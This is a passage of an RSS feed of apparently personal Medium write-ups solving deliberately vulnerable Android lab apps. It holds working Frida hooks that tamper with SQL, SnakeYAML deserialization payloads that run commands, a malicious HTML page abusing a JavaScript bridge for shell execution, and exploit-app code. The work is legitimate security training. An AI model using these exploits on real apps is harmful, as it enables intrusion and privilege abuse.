var execSQL_str = SQLiteDatabase.execSQL.overload(&#39;java.lang.String&#39;);<br>      execSQL_str.implementation = function (sql) {<br>        try {<br>          if (sql &amp;&amp; sql.indexOf(&#39;INSERT INTO users&#39;) !== -1) {<br>            console.log(&#39;[SQLHOOK] Original SQL: &#39; + sql);<br><br>            var modified = null;<br><br>            // 1) Preferred: change the isPro 0 -&gt; 1 by replacing &quot;&#39;, 0)&quot; (common pattern in DBHelper.addUser)<br>            // This is conservative and safe for this specific app.<br>            if (sql.indexOf(&quot;, 0)&quot;) !== -1) {<br>              modified = sql.replace(/,\s*0\)/i, &#39;, 1)&#39;);<br>              console.log(&#39;[SQLHOOK] Replaced &quot;, 0)&quot; -&gt; &quot;, 1)&quot;.&#39;);<br>            }<br><br>            // 2) Fallback: if replacement didn&#39;t work, append an UPDATE for the username found in the VALUES(...) clause<br>            if (!modified) {<br>              // try to extract username from VALUES(&#39;username&#39;, ...<br>              var m = sql.match(/VALUES\s*\(\s*&#39;([^&#39;]+)&#39;/i);<br>              if (m &amp;&amp; m[1]) {<br>                var uname = m[1].replace(/&#39;/g, &quot;&#39;&#39;&quot;);<br>                // Append an UPDATE; SQLite execSQL supports multiple statements in many builds.<br>                modified = sql + &quot; ; UPDATE users SET isPro=1 WHERE username=&#39;&quot; + uname + &quot;&#39;;&quot;;<br>                console.log(&#39;[SQLHOOK] Appended fallback UPDATE for user: &#39; + uname);<br>              } else {<br>                // As a last resort, leave SQL unchanged<br>                modified = sql;<br>                console.log(&#39;[SQLHOOK] Could not parse username; leaving SQL unchanged.&#39;);<br>              }<br>            }<br><br>            console.log(&#39;[SQLHOOK] Modified SQL: &#39; + modified);<br>            // Call original with modified SQL<br>            return execSQL_str.call(this, modified);<br>          }<br>        } catch (hookErr) {<br>          console.log(&#39;[SQLHOOK] Hook error: &#39; + hookErr);<br>          // fallback to original SQL on error<br>          return execSQL_str.call(this, sql);<br>        }<br>        // not our target SQL — execute normally<br>        return execSQL_str.call(this, sql);<br>      };<br><br>      // Also hook rawQuery to log selects (optional, useful for debugging)<br>      try {<br>        var rawQuery = SQLiteDatabase.rawQuery.overload(&#39;java.lang.String&#39;, &#39;[Ljava.lang.String;&#39;);<br>        rawQuery.implementation = function (q, arr) {<br>          if (q &amp;&amp; q.toLowerCase().indexOf(&#39;select&#39;) !== -1) {<br>            console.log(&#39;[SQLHOOK] rawQuery: &#39; + q + &#39; args=&#39; + (arr ? arr.toString() : &#39;null&#39;));<br>          }<br>          return rawQuery.call(this, q, arr);<br>        };<br>      } catch (e) {<br>        // not essential<br>      }<br><br>      console.log(&#39;[SQLHOOK] Installed: SQLiteDatabase.execSQL(String) hook (auto-pro exploit).&#39;);<br>    } catch (e) {<br>      console.log(&#39;[SQLHOOK] Initialization error: &#39; + e);<br>    }<br>  });<br>});</pre><p>I ran Frida with the following command to capture its output.</p><pre>frida -U -f com.mobilehackinglab.foodstore -l script.js --no-pause</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rXP27r0iLPNKL3ZhxzwvWg.png" /><figcaption>Signup with Frida</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JBPBO5AfVo4m_ojO-Ur33Q.png" /><figcaption>Frida POC</figcaption></figure><p>Finally, I have completed the <strong>Food Store</strong> write-up, documenting how an exported MainActivity that trusts Intent extras and a SQL injection in DBHelper.addUser (unsafe string-concatenated SQL) can be abused. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a135313f296" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Lab - Config Editor]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-config-editor-a61682dc9429?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/a61682dc9429</guid>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Sat, 15 Nov 2025 22:11:18 GMT</pubDate>
            <atom:updated>2025-11-15T22:11:18.996Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhMkDWqwypLU6p8s17eu7A.png" /><figcaption>Certificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) - a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p>The app insecurely uses SnakeYAML’s yaml.load() to parse external YAML (via an exported VIEW intent and file/HTTP intake), allowing attacker controlled YAML to instantiate arbitrary Java classes and the bundled LegacyCommandUtil (which runs Runtime.exec in its constructor) serves as a direct gadget for RCE.</p><p>While inspecting AndroidManifest.xml I found the following Permissions:</p><pre>&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.READ_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.MANAGE_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;permission<br>  android:name=&quot;com.mobilehackinglab.configeditor.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;<br>  android:protectionLevel=&quot;signature&quot;/&gt;<br>&lt;uses-permission android:name=&quot;com.mobilehackinglab.configeditor.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;/&gt;</pre><ul><li><strong>INTERNET</strong>: Allows the app to make network connections.</li><li><strong>READ_EXTERNAL_STORAGE</strong>: Allows the app to read files from shared/external storage.</li><li><strong>android.permission.WRITE_EXTERNAL_STORAGE</strong>: Allows the app to write or overwrite files on shared/external storage.</li><li><strong>android.permission.MANAGE_EXTERNAL_STORAGE</strong>: Grants broad all files access on external storage, bypassing scoped-storage restrictions.</li><li><strong>RECEIVER_NOT_EXPORTED_PERMISSION:</strong> A custom signature-level permission that only apps signed with the same certificate can hold (used to protect internal components).</li><li><strong>DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION</strong>: The app declares it requests its own custom signature-protected permission.</li></ul><h3>Static Analysis</h3><ul><li><strong>AndroidManifest.xml</strong>: Identifies exported components, intent filters, and permissions; MainActivity is exported for VIEW intents (file/http/https, application/yaml)</li><li><strong>MainActivity</strong>: Wires UI, handles file pick/save and ACTION_VIEW intents, and unsafely calls yaml.load(InputStream) to parse external YAML.</li><li><strong>CopyUtil</strong>: Copies assets and treats incoming URIs as URLs to download/save remote resources into Downloads, enabling remote payload delivery.</li><li><strong>LegacyCommandUtil</strong>: Constructor executes its String parameter via Runtime.getRuntime().exec(), making it a direct RCE gadget when instantiated by SnakeYAML.</li></ul><h4>AndroidManifest.xml</h4><p>Found an exported launcher activity (MainActivity) which contains an intent filter with VIEW action and Browsable category and it has three schemas file,http, and https and the mimetype which accept is application/yaml.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2v5kLXjW6f3Xq6xZQV4vig.png" /><figcaption>AndroidManifest.xml</figcaption></figure><h4>SnakeYaml</h4><p>While reversing the APK with JADX I discovered the third-party library <strong>SnakeYAML</strong>, which the app uses for YAML parsing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0jJ6kyZsJqSHyf_lQWYxw.png" /><figcaption>snakeyaml</figcaption></figure><h4>MainActivity</h4><p>Opening the app shows MainActivity, which provides the editor UI and two primary buttons: <strong>Load</strong> (opens a file manager to select a YAML file) and <strong>Save</strong> (writes the text area contents to storage as a .yml file).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*9q2Be6S0szyAPlgVy3yPFA.png" /><figcaption>MainActivity UI</figcaption></figure><h4>onCreate()</h4><p>In onCreate() the activity inflates the view binding, starts a coroutine to request storage permission and copy a sample YAML asset if permitted, then calls setButtonListeners() and handleIntent() to wire behavior and process incoming intents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kjPd9mORvf60UOFq10n71A.png" /><figcaption>onCreate() method</figcaption></figure><h4>SetButtonListeners()</h4><p>setButtonListeners() registers ActivityResultLaunchers for GetContent ,CreateDocument, and attaches click handlers that call loadYaml(uri) and saveYaml(uri) respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9rjxawXfrOv2_S-ygfmJg.png" /><figcaption>setButtonListeners() method</figcaption></figure><h4>handleIntent()</h4><p>handleIntent() checks for ACTION_VIEW intents, when present it calls CopyUtil.copyFileFromUri() and, once the copy completes, invokes loadYaml(uri) so externally supplied URIs (file/http/https) are processed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B6HGDwj8-2F97eoH_GDD4w.png" /><figcaption>handleIntent() method</figcaption></figure><h4>loadYaml()</h4><p>loadYaml(uri) opens the provided Uri via ContentResolver, constructs a Yaml instance, calls the unsafe yaml.load(inputStream) to deserialize the content, then yaml.dump() and displays the result in the editor.</p><h4>saveYaml()</h4><p>saveYaml(uri) opens an output for the given Uri and writes the editor’s text content to the selected file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MgCI-oPak4POTLQ1ZWh6Qw.png" /><figcaption>loadYaml() &amp; saveYaml methods</figcaption></figure><h4>copyFileFromAssets()</h4><p>copyFileFromAssets() copies a bundled asset (e.g., example.yml) into the device Downloads directory using a background coroutine.</p><h4>copyFileFromUri()</h4><p>copyFileFromUri() accepts a Uri, constructs a URL from it, downloads the referenced resource in a background coroutine, saves it into Downloads, and enabling remote payload delivery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Whl0miGYu8Rbs4tNJqGt9Q.png" /><figcaption>copyUtil Class</figcaption></figure><h4>LegacyCommandUtil</h4><p>LegacyCommandUtil has a constructor that accepts a String and immediately calls Runtime.getRuntime().exec(command), making it a direct command execution gadget if instantiated by the YAML deserializer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQvvBdesrvFbSrIVrmB6Dw.png" /><figcaption>LegacyCommandUtil class</figcaption></figure><h3>First Solution (ADB)</h3><p>I searched on snakeyaml exploits and found that there is a <a href="https://github.com/1fabunicorn/SnakeYAML-CVE-2022-1471-POC">CVE-2022–1471</a> so Inside the constructor of this class, a “command” executed with runtime exec function. We can use this class to exploit this vulnerability because we can access this class. Here is the sample yaml file:</p><pre>exploit: !!com.mobilehackinglab.configeditor.LegacyCommandUtil &quot;touch /data/data/com.mobilehackinglab.configeditor/exploit.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hfvm4DH5T8fWK6Jj-bONmQ.png" /><figcaption>Pushing the payload in the /sdcard</figcaption></figure><p>I used a command to create exploit.txt file in the com.mobilehackinglab.configeditor folder so I cliked on the load and select the payload.yaml which I had pushed before</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTGGSiLvQTfYYPZgiYz9OA.png" /><figcaption>Load payload.yml</figcaption></figure><p>After loading the payload the file created successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RglZriYhm8Pam1Ps0WzZDw.png" /><figcaption>POC</figcaption></figure><h3>Second Solution (Exploit App)</h3><p>I built a small Android app that launches the vulnerable Config Editor with a crafted URL pointing to a hosted YAML payload (served by a local Python HTTP server), causing the target app to download and process the payload automatically.</p><pre>python3 -m http.server 8080</pre><pre>!!com.mobilehackinglab.configeditor.LegacyCommandUtil [&quot;touch /data/data/com.mobilehackinglab.configeditor/poc.txt&quot;]</pre><pre>package com.pentest.exploitapp; // Corrected package name to match file path<br><br>import android.content.Intent;<br>import android.database.Cursor;<br>import android.net.Uri;<br>import android.os.Bundle;<br>import android.os.Handler;<br>import android.os.Looper;<br>import android.util.Log;<br>import android.view.View;<br>import android.widget.Button;<br>import android.widget.TextView;<br>import android.widget.Toast;<br><br>import androidx.appcompat.app.AppCompatActivity;<br><br>import java.util.concurrent.ExecutorService;<br>import java.util.concurrent.Executors;<br><br>public class MainActivity extends AppCompatActivity {<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br><br>        Button submitPinButton = findViewById(R.id.exploit_btn);<br><br>        submitPinButton.setOnClickListener(v -&gt; {<br>            Uri uri = Uri.parse(&quot;http://10.33.42.160:8080/exploit.yaml&quot;);<br>            Intent intent = new Intent(Intent.ACTION_VIEW);<br>            intent.setClassName(&quot;com.mobilehackinglab.configeditor&quot;,&quot;com.mobilehackinglab.configeditor.MainActivity&quot;);<br>            intent.setData(uri);<br>            startActivity(intent);<br>        });<br>    }<br>}</pre><p>After launching the exploit app and tapping the button, the vulnerable app fetched and deserialized the payload as intended for the lab, the payload caused the creation of a poc.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Akwf0wxca68EZLScrYKiWA.png" /><figcaption>Clicking the button to get the RCE</figcaption></figure><p>The exploit succeeded, created the expected poc.txt, and confirmed the RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tmeSG1Lk2OL7za4dSXllzA.png" /><figcaption>Exploit App POC</figcaption></figure><h3>Third Solution (Frida)</h3><p>I wrote a Frida script that reliably starts the vulnerable app’s MainActivity and launches an ACTION_VIEW intent pointing at a remote YAML payload hosted on my local Python server.</p><pre>function log(msg) {<br>  console.log(&#39;[launch_view_intent_fix] &#39; + msg);<br>}<br><br>Java.perform(function() {<br>  // Helper to attempt to get an application context<br>  function tryGetContext() {<br>    try {<br>      var ActivityThread = Java.use(&#39;android.app.ActivityThread&#39;);<br>      // Prefer currentApplication() — often available earlier than currentActivityThread()<br>      try {<br>        var app = ActivityThread.currentApplication();<br>        if (app) {<br>          log(&#39;Obtained context via ActivityThread.currentApplication()&#39;);<br>          return app.getApplicationContext();<br>        }<br>      } catch (e) {<br>        // ignore<br>      }<br><br>      // Fallback to currentActivityThread().getApplication()<br>      try {<br>        var at = ActivityThread.currentActivityThread();<br>        if (at) {<br>          var app2 = at.getApplication();<br>          if (app2) {<br>            log(&#39;Obtained context via currentActivityThread().getApplication()&#39;);<br>            return app2.getApplicationContext();<br>          }<br>        }<br>      } catch (e) {<br>        // ignore<br>      }<br>    } catch (e) {<br>      // ignore<br>    }<br>    return null;<br>  }<br><br>  // Fallback: find a running Activity instance via Java.choose<br>  function chooseActivityAndGetContext(cb) {<br>    try {<br>      Java.choose(&#39;android.app.Activity&#39;, {<br>        onMatch: function(instance) {<br>          try {<br>            var ctx = instance.getApplicationContext();<br>            log(&#39;Found Activity instance: &#39; + instance.getClass().getName());<br>            this.stop = true; // stop after first match<br>            cb(ctx);<br>          } catch (e) {<br>            // continue searching<br>          }<br>        },<br>        onComplete: function() {<br>          // if nothing found, call cb with null<br>          cb(null);<br>        }<br>      });<br>    } catch (e) {<br>      log(&#39;Java.choose failed: &#39; + e);<br>      cb(null);<br>    }<br>  }<br><br>  // Main routine: wait up to timeout for a context, then start intent<br>  (function waitForContextAndStart(attemptsLeft) {<br>    attemptsLeft = attemptsLeft || 20; // e.g., ~20 * 200ms = 4s max wait<br>    var ctx = tryGetContext();<br>    if (ctx) {<br>      startIntent(ctx);<br>      return;<br>    }<br><br>    // Try to locate an Activity instance as a fallback<br>    chooseActivityAndGetContext(function(foundCtx) {<br>      if (foundCtx) {<br>        startIntent(foundCtx);<br>        return;<br>      }<br>      if (attemptsLeft &gt; 0) {<br>        // wait 200ms and retry<br>        setTimeout(function() {<br>          waitForContextAndStart(attemptsLeft - 1);<br>        }, 200);<br>      } else {<br>        log(&#39;Timed out waiting for a Context. Try attaching after the app fully starts, or increase wait attempts.&#39;);<br>      }<br>    });<br>  })();<br><br>  // Build and send the intent<br>  function startIntent(context) {<br>    try {<br>      var Intent = Java.use(&#39;android.content.Intent&#39;);<br>      var Uri = Java.use(&#39;android.net.Uri&#39;);<br><br>      var intent = Intent.$new();<br>      intent.setAction(&#39;android.intent.action.VIEW&#39;);<br><br>      // Add FLAG_ACTIVITY_NEW_TASK so context.startActivity works from non-activity context<br>      var FLAG_ACTIVITY_NEW_TASK = 0x10000000;<br>      intent.addFlags(FLAG_ACTIVITY_NEW_TASK);<br><br>      var url = &quot;http://10.33.42.160:8080/exploit.yaml&quot;;<br>      var uri = Uri.parse(url);<br>      intent.setData(uri);<br><br>      // optional: set MIME type to match intent-filter<br>      // intent.setType(&#39;application/yaml&#39;);<br><br>      // target explicit activity<br>      intent.setClassName(&#39;com.mobilehackinglab.configeditor&#39;, &#39;com.mobilehackinglab.configeditor.MainActivity&#39;);<br><br>      log(&#39;Starting intent -&gt; &#39; + url + &#39; target=com.mobilehackinglab.configeditor.MainActivity&#39;);<br><br>      context.startActivity(intent);<br><br>      log(&#39;Intent sent successfully.&#39;);<br>    } catch (e) {<br>      log(&#39;Failed to build/start intent: &#39; + e);<br>    }<br>  }<br>});</pre><p>I ran Frida with the following command to inject the script and capture its output.</p><pre>frida -U -f com.mobilehackinglab.configeditor -l script.js --no-pause</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5zZwb4Rc61fgLwUl5wtXA.png" /><figcaption>Frida POC</figcaption></figure><p>Finally, I have completed the <strong>Config Editor</strong> write-up, documenting how unsafe SnakeYAML deserialization, an exported VIEW intent and CopyUtil’s remote-fetch behavior can be combined with the LegacyCommandUtil gadget to achieve RCE. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a61682dc9429" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Lab - Guess Me]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-guess-me-689090b30d5b?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/689090b30d5b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 18:46:21 GMT</pubDate>
            <atom:updated>2025-11-14T18:46:21.173Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T1Dxel1gFJo14E8-Ao281Q.png" /><figcaption>Cerificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) — a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p>This challenge revolves around a fictitious Guess Me app, shedding light on a critical security flaw related to deep links that can lead to remote code execution within the app’s framework.</p><p>I opened the manifest file and noticed these permissions:</p><pre>&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&gt;<br>&lt;permission<br>  android:name=&quot;com.mobilehackinglab.guessme.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;<br>  android:protectionLevel=&quot;signature&quot;/&gt;<br>&lt;uses-permission android:name=&quot;com.mobilehackinglab.guessme.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;/&gt;</pre><ul><li><strong>INTERNET</strong>: Allows the application to access the internet.</li><li><strong>DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION</strong>: A custom signature-level permission, indicating components protected by this can only be accessed by apps signed with the same certificate.</li></ul><h3>Static Analysis</h3><p>I reviewed the app’s static files and code to identify attack surface and entry points for the WebView. The most relevant artifacts are the manifest and the WebviewActivity code that registers a JavaScript bridge.</p><h4>AndroidManifest.xml</h4><p>While inspecting AndroidManifest.xml, I found two exported activities of interest: MainActivity and WebviewActivity. The manifest also contains an intent filter that enables deep links for the mhl scheme and the mobilehackinglab host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UgWXsJUqB4GVqUfj-CWQkA.png" /><figcaption>AndroidManifest Activity List</figcaption></figure><h4>MainActivity</h4><p>Opening the app revealed MainActivity, which implements the number-guessing game UI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*kn_n9HFuALg_0Dp9KGRsXA.png" /><figcaption>MainActivity UI</figcaption></figure><p>While reversing MainActivity I observed two methods:</p><ul><li>startNewGame(): resets the game state and UI for a new round.</li><li>validateGuess(): validates the user’s input, provides feedback (&quot;too low&quot;/&quot;too high&quot;/&quot;congratulations&quot;) and ends the round on success or after the maximum attempts.</li></ul><p>These methods implement normal game logic and do not appear directly related to the exploit path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BT8dM94U5owdOugqOpvyrQ.png" /><figcaption>MainActivity Source Code</figcaption></figure><p>The activity enables JavaScript in the WebView and registers a JavaScript interface:</p><pre>webView3.addJavascriptInterface(new MyJavaScriptInterface(), &quot;AndroidBridge&quot;);<br>  WebView webView4 = this.webView;<br>  if (webView4 == null) {<br>    Intrinsics.throwUninitializedPropertyAccessException(&quot;webView&quot;);<br>    webView4 = null;<br>  }</pre><p>This exposes methods on the AndroidBridge object to any page loaded into the WebView, which significantly increases the attack surface if untrusted pages are loaded.</p><h4>webViewActivity</h4><p>WebviewActivity is the component responsible for rendering web content. The manifest declares a deep link for it:</p><pre>&lt;data android:scheme=&quot;mhl&quot; android:host=&quot;mobilehackinglab&quot;/&gt;</pre><p>I analyzed WebviewActivity and found the isValidDeepLink() method. It validates incoming URIs by checking that the scheme is mhl or https, the host equals mobilehackinglab, and that a url query parameter is present which endsWith(&quot;mobilehackinglab.com&quot;). If the deep link passes validation, loadDeepLink() loads the provided URL into the WebView.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FFk1Y_LryKTsksOEiyEkMQ.png" /><figcaption>webViewActivity DeepLink</figcaption></figure><p>The app exposes a @JavascriptInterface to WebView pages that lets page JS navigate the WebView and execute arbitrary shell commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W56kv85QU7karYUUzvke_w.png" /><figcaption>MyJavascriptInterface getTime</figcaption></figure><p>I reviewed the decompiled MyJavaScriptInterface. It exposes two relevant methods to JavaScript:</p><ul><li>loadWebsite(String url) — causes the WebView to navigate to the provided URL (i.e., allows page JS to trigger navigation).</li><li>getTime(String time) — runs the supplied string as a shell command (via Runtime.getRuntime().exec(...)), captures the command’s stdout, and returns it as a String.</li></ul><p>The getTime implementation runs the command through /system/bin/sh -c, reads stdout line-by-line, trims the result, and returns it. If an exception occurs, it returns an error string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMgtcnlvLLYht1XoN6uwNA.png" /><figcaption>MyJavascriptInterface</figcaption></figure><p>I located index.html in the app’s assets (the default page loaded by WebviewActivity). The file calls AndroidBridge.getTime(&quot;date&quot;) from JavaScript and writes the returned value into the page DOM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O3ziUWVoou9jgK-MZdTY-g.png" /><figcaption>Assets index.html</figcaption></figure><h3>First Solution (ADB)</h3><p>We noticed that the app’s JavaScript bridge executes a shell command to obtain the current time. That made me consider what would happen if an HTML page loaded in the WebView called AndroidBridge.getTime() with a different command. To test this in a controlled environment, I hosted the following HTML on a web server:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br><br>&lt;p id=&quot;result&quot;&gt;Thank you for visiting&lt;/p&gt;<br><br>&lt;!-- Add a hyperlink with onclick event --&gt;<br>&lt;a href=&quot;#&quot; onclick=&quot;loadWebsite()&quot;&gt;Visit MobileHackingLab&lt;/a&gt;<br><br>&lt;script&gt;<br><br>    function loadWebsite() {<br>       window.location.href = &quot;https://www.mobilehackinglab.com/&quot;;<br>    }<br><br>    // Fetch and display the time when the page loads<br>    var result = AndroidBridge.getTime(&quot;id&quot;);<br>    var lines = result.split(&#39;\n&#39;);<br>    var timeVisited = lines[0];<br>    var fullMessage = &quot;Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: &quot; + timeVisited;<br>    document.getElementById(&#39;result&#39;).innerText = fullMessage;<br><br>&lt;/script&gt;<br><br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>I then opened the app’s WebView using an adb command that launches the activity with a deep link pointing to the hosted page:</p><pre>adb shell am start -n com.mobilehackinglab.guessme/.WebviewActivity -d &quot;mhl://mobilehackinglab/?url=https://webhook.site/ecc379f0-a3b5-48d7-a05c-154495f5061c/?mobilehackinglab.com&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a60N8t5rmIPA7zueEs3aMA.png" /><figcaption>RCE POC</figcaption></figure><h3>Second Solution (Exploit App)</h3><p>I created a small Android app which, when its button is tapped, builds the vulnerable deep-link URI and explicitly starts com.mobilehackinglab.guessme/.WebviewActivity to demonstrate the injection.</p><pre>Button btnExploit = findViewById(R.id.exploit_btn);<br>btnExploit.setOnClickListener(new View.OnClickListener() {<br>  @Override<br>  public void onClick(View view) {<br>    // Deep-link URI (as you provided)<br>    Uri uri = Uri.parse(&quot;mhl://mobilehackinglab/?url=https://webhook.site/ecc379f0-a3b5-48d7-a05c-154495f5061c/?mobilehackinglab.com&quot;);<br><br>    // Create an intent with the same ACTION_VIEW action and data<br>    Intent intent = new Intent(Intent.ACTION_VIEW);<br>    intent.setData(uri);<br><br>    // Explicitly target the component: com.mobilehackinglab.guessme/.WebviewActivity<br>    intent.setComponent(new ComponentName(<br>        &quot;com.mobilehackinglab.guessme&quot;,<br>        &quot;com.mobilehackinglab.guessme.WebviewActivity&quot;<br>    ));<br><br>    try {<br>        startActivity(intent);<br>    } catch (ActivityNotFoundException e) {<br>        Toast.makeText(MainActivity.this,<br>        &quot;Target activity not found or app not installed&quot;,<br>        Toast.LENGTH_LONG).show();<br>    }<br>  }<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*Xr_atgbD0U8_GuUgx6-V2w.png" /><figcaption>ExploitApp</figcaption></figure><p>After launching the exploit app and tapping the button, the target activity displayed the output of the id shell command instead of the expected current time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*pHUl9OISKEjSMUftlBiY9g.png" /><figcaption>POC</figcaption></figure><h3>Third Solution (Frida)</h3><p>I wrote a frida script start the target WebviewActivity with a crafted mhl:// deep-link from inside the target app process, so the activity processes the injected url parameter. Run with Frida to capture any command-injection output in the Frida console.</p><pre>setImmediate(function () {<br>  Java.perform(function () {<br>    var log = function (s) { console.log(s); };<br><br>    try {<br>      var deepLink = &quot;mhl://mobilehackinglab/?url=https://webhook.site/ecc379f0-a3b5-48d7-a05c-154495f5061c/?mobilehackinglab.com&quot;;<br>      var targetPkg = &quot;com.mobilehackinglab.guessme&quot;;<br>      var targetCls = &quot;com.mobilehackinglab.guessme.WebviewActivity&quot;;<br><br>      var Intent = Java.use(&#39;android.content.Intent&#39;);<br>      var Uri = Java.use(&#39;android.net.Uri&#39;);<br>      var ComponentName = Java.use(&#39;android.content.ComponentName&#39;);<br><br>      // Build explicit Intent: new Intent(Intent.ACTION_VIEW)<br>      var intent = Intent.$new(&quot;android.intent.action.VIEW&quot;);<br>      intent.setData(Uri.parse(deepLink));<br>      // explicit component<br>      var comp = ComponentName.$new(targetPkg, targetCls);<br>      intent.setComponent(comp);<br><br>      // Ensure it can be launched from non-Activity context<br>      var FLAG_ACTIVITY_NEW_TASK = 0x10000000;<br>      intent.addFlags(FLAG_ACTIVITY_NEW_TASK);<br><br>      log(&#39;[*] Prepared explicit Intent -&gt; &#39; + targetPkg + &#39;/&#39; + targetCls + &#39;  data=&#39; + deepLink);<br><br>      var started = false;<br><br>      // Try using any live Activity instance<br>      try {<br>        Java.choose(&#39;android.app.Activity&#39;, {<br>          onMatch: function (activity) {<br>            if (started) return;<br>            try {<br>              log(&#39;[*] Using Activity instance: &#39; + activity);<br>              activity.startActivity(intent);<br>              log(&#39;[+] Started explicit intent via Activity.startActivity&#39;);<br>              started = true;<br>            } catch (e) {<br>              